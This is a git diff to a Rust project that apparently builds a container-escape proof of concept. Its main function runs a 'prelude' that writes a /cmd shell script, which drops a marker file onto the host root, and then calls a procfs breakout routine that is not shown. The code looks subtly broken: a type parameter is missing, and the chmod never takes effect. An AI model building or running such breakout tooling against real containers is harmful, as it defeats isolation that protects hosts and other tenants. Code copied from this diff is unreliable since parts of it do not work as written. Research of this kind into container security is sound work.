diff --git a/Cargo.toml b/Cargo.toml index e9bf525..bbb3c72 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -4,3 +4,4 @@ version = "0.1.0" edition = "2021" [dependencies] +nix = { version = "0.29.0", features = ["sched", "hostname", "mount"] } diff --git a/src/main.rs b/src/main.rs index e7a11a9..0c6a375 100644 --- a/src/main.rs +++ b/src/main.rs @@ -1,3 +1,33 @@ -fn main() { - println!("Hello, world!"); +use std::{io::Write, os::unix::fs::PermissionsExt}; + +use attacks::procfs::procfs_breakout; + +mod attacks; + +fn main() -> Result<(), std::io::Error> { + let args: Vec = std::env::args().collect(); + let host_root = &args[1].trim_end_matches("/"); + println!("Breakout prelude"); + prelude(host_root)?; + println!("procfs breakout"); + println!("{:?}", procfs_breakout(host_root)); + + Ok(()) +} + +fn prelude(host_root: &str) -> Result<(), std::io::Error> { + let mut cmd = std::fs::File::create("/cmd")?; + cmd.metadata()?.permissions().set_mode(0o777); + + cmd.write_all( + format!( + r#"#!/bin/sh +echo "true" > {}/breakout +"#, + host_root + ) + .as_bytes(), + )?; + + Ok(()) }